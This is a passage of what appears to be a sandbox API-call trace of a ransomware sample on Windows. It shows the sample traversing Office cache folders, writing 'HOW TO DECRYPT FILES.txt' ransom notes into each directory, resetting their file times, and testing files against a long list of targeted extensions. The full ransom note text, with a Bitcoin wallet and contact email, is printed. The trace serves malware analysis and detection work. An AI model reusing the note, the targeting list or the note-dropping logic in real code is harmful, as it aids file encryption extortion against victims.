returned="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" [0057.769] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x780074, dwReserved1=0x74, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0057.769] FindClose (in: hFindFile=0x4f7048 | out: hFindFile=0x4f7048) returned 1 [0057.769] FindNextFileA (in: hFindFile=0x4f7088, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~1")) returned 1 [0057.769] lstrcmpA (lpString1=".", lpString2="{90140000-0115-0409-1000-0000000FF1CE}-C") returned -1 [0057.769] lstrcmpA (lpString1="..", lpString2="{90140000-0115-0409-1000-0000000FF1CE}-C") returned -1 [0057.769] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\*.*") returned="*.*" [0057.769] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\", lpString2="{90140000-0115-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C" [0057.769] FindFirstFileA (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x780074, dwReserved1=0x74, cFileName=".", cAlternateFileName="")) returned 0x4f7048 [0057.773] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.773] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.773] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.773] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.773] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0057.773] lstrcmpA (lpString1=".", lpString2="1033") returned -1 [0057.773] lstrcmpA (lpString1="..", lpString2="1033") returned -1 [0057.773] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*.*") returned="*.*" [0057.773] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="1033" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033" [0057.773] FindFirstFileA (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f80d0, dwReserved1=0x4f80cb, cFileName=".", cAlternateFileName="")) returned 0x4f9570 [0057.775] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.775] FindNextFileA (in: hFindFile=0x4f9570, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.775] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.775] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.775] FindNextFileA (in: hFindFile=0x4f9570, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0057.775] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.775] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dwintl20.dll") returned 1 [0057.775] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dwintl20.dll") returned 1 [0057.775] lstrcmpiA (lpString1="", lpString2="dwintl20.dll") returned -1 [0057.776] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*.*") returned="*.*" [0057.776] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\" [0057.776] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\") returned="" [0057.776] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\HOW TO DECRYPT FILES.txt" [0057.776] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\how to decrypt files.txt")) returned 0xffffffff [0057.776] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0057.779] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.779] CloseHandle (hObject=0x8c) returned 1 [0057.779] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\", lpString2="dwintl20.dll" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" [0057.780] FindNextFileA (in: hFindFile=0x4f9570, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 0 [0057.780] FindClose (in: hFindFile=0x4f9570 | out: hFindFile=0x4f9570) returned 1 [0057.780] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0057.780] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.780] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="branding.xml") returned 1 [0057.780] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="branding.xml") returned 1 [0057.780] lstrcmpiA (lpString1="", lpString2="branding.xml") returned -1 [0057.781] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*.*") returned="*.*" [0057.781] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" [0057.781] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="" [0057.781] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.781] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0xffffffff [0057.781] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0057.782] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0057.782] WriteFile (in: hFile=0x88, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0057.783] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.784] CloseHandle (hObject=0x88) returned 1 [0057.784] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="branding.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" [0057.784] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.ems") returned 0 [0057.784] lstrlenA (lpString="*.ems") returned 5 [0057.784] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.db") returned 0 [0057.784] lstrlenA (lpString="*.db") returned 4 [0057.784] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.dbf") returned 0 [0057.784] lstrlenA (lpString="*.dbf") returned 5 [0057.784] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.myox") returned 0 [0057.784] lstrlenA (lpString="*.myox") returned 6 [0057.784] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.myo") returned 0 [0057.784] lstrlenA (lpString="*.myo") returned 5 [0057.784] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.qbw") returned 0 [0057.784] lstrlenA (lpString="*.qbw") returned 5 [0057.784] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.qbb") returned 0 [0057.784] lstrlenA (lpString="*.qbb") returned 5 [0057.785] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.qbm") returned 0 [0057.785] lstrlenA (lpString="*.qbm") returned 5 [0057.785] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.qbo") returned 0 [0057.785] lstrlenA (lpString="*.qbo") returned 5 [0057.785] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.qbx") returned 0 [0057.785] lstrlenA (lpString="*.qbx") returned 5 [0057.785] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.qba") returned 0 [0057.785] lstrlenA (lpString="*.qba") returned 5 [0057.785] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.qby") returned 0 [0057.785] lstrlenA (lpString="*.qby") returned 5 [0057.785] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.qbj") returned 0 [0057.785] lstrlenA (lpString="*.qbj") returned 5 [0057.785] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.ofx") returned 0 [0057.785] lstrlenA (lpString="*.ofx") returned 5 [0057.785] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.qif") returned 0 [0057.785] lstrlenA (lpString="*.qif") returned 5 [0057.785] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.mye") returned 0 [0057.785] lstrlenA (lpString="*.mye") returned 5 [0057.785] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.mbox") returned 0 [0057.785] lstrlenA (lpString="*.mbox") returned 6 [0057.785] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.eml") returned 0 [0057.785] lstrlenA (lpString="*.eml") returned 5 [0057.786] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.pst") returned 0 [0057.786] lstrlenA (lpString="*.pst") returned 5 [0057.786] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.ost") returned 0 [0057.786] lstrlenA (lpString="*.ost") returned 5 [0057.786] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.idx") returned 0 [0057.786] lstrlenA (lpString="*.idx") returned 5 [0057.786] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.dbx") returned 0 [0057.786] lstrlenA (lpString="*.dbx") returned 5 [0057.786] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.sql") returned 0 [0057.786] lstrlenA (lpString="*.sql") returned 5 [0057.786] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.mdb") returned 0 [0057.786] lstrlenA (lpString="*.mdb") returned 5 [0057.786] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.fdb") returned 0 [0057.786] lstrlenA (lpString="*.fdb") returned 5 [0057.786] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.wab") returned 0 [0057.786] lstrlenA (lpString="*.wab") returned 5 [0057.786] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.dat") returned 0 [0057.786] lstrlenA (lpString="*.dat") returned 5 [0057.786] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.txt") returned 0 [0057.786] lstrlenA (lpString="*.txt") returned 5 [0057.786] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.jpeg") returned 0 [0057.786] lstrlenA (lpString="*.jpeg") returned 6 [0057.786] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.jpg") returned 0 [0057.787] lstrlenA (lpString="*.jpg") returned 5 [0057.787] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.png") returned 0 [0057.787] lstrlenA (lpString="*.png") returned 5 [0057.787] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.php") returned 0 [0057.787] lstrlenA (lpString="*.php") returned 5 [0057.787] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.cs") returned 0 [0057.787] lstrlenA (lpString="*.cs") returned 4 [0057.787] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.cpp") returned 0 [0057.787] lstrlenA (lpString="*.cpp") returned 5 [0057.787] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.rar") returned 0 [0057.787] lstrlenA (lpString="*.rar") returned 5 [0057.787] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.zip") returned 0 [0057.787] lstrlenA (lpString="*.zip") returned 5 [0057.787] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.html") returned 0 [0057.787] lstrlenA (lpString="*.html") returned 6 [0057.787] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.htm") returned 0 [0057.787] lstrlenA (lpString="*.htm") returned 5 [0057.787] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.xlsx") returned 0 [0057.787] lstrlenA (lpString="*.xlsx") returned 6 [0057.787] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.xls") returned 0 [0057.787] lstrlenA (lpString="*.xls") returned 5 [0057.787] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.mp4") returned 0 [0057.787] lstrlenA (lpString="*.mp4") returned 5 [0057.787] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.ppt") returned 0 [0057.788] lstrlenA (lpString="*.ppt") returned 5 [0057.788] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.pptx") returned 0 [0057.788] lstrlenA (lpString="*.pptx") returned 6 [0057.788] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.doc") returned 0 [0057.788] lstrlenA (lpString="*.doc") returned 5 [0057.788] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.dot") returned 0 [0057.788] lstrlenA (lpString="*.dot") returned 5 [0057.788] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.docx") returned 0 [0057.788] lstrlenA (lpString="*.docx") returned 6 [0057.788] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.7z") returned 0 [0057.788] lstrlenA (lpString="*.7z") returned 4 [0057.788] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.tar") returned 0 [0057.788] lstrlenA (lpString="*.tar") returned 5 [0057.788] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.bz2") returned 0 [0057.788] lstrlenA (lpString="*.bz2") returned 5 [0057.788] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.gz") returned 0 [0057.788] lstrlenA (lpString="*.gz") returned 4 [0057.788] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.mkv") returned 0 [0057.788] lstrlenA (lpString="*.mkv") returned 5 [0057.788] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.eml") returned 0 [0057.788] lstrlenA (lpString="*.eml") returned 5 [0057.788] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.msg") returned 0 [0057.789] lstrlenA (lpString="*.msg") returned 5 [0057.789] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.edb") returned 0 [0057.789] lstrlenA (lpString="*.edb") returned 5 [0057.789] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.accdb") returned 0 [0057.789] lstrlenA (lpString="*.accdb") returned 7 [0057.789] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.odb") returned 0 [0057.789] lstrlenA (lpString="*.odb") returned 5 [0057.789] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.java") returned 0 [0057.789] lstrlenA (lpString="*.java") returned 6 [0057.789] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.asm") returned 0 [0057.789] lstrlenA (lpString="*.asm") returned 5 [0057.789] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.pfx") returned 0 [0057.789] lstrlenA (lpString="*.pfx") returned 5 [0057.789] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.pem") returned 0 [0057.789] lstrlenA (lpString="*.pem") returned 5 [0057.789] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.p12") returned 0 [0057.789] lstrlenA (lpString="*.p12") returned 5 [0057.789] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", pszSpec="*.gpg") returned 0 [0057.789] lstrlenA (lpString="*.gpg") returned 5 [0057.789] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", 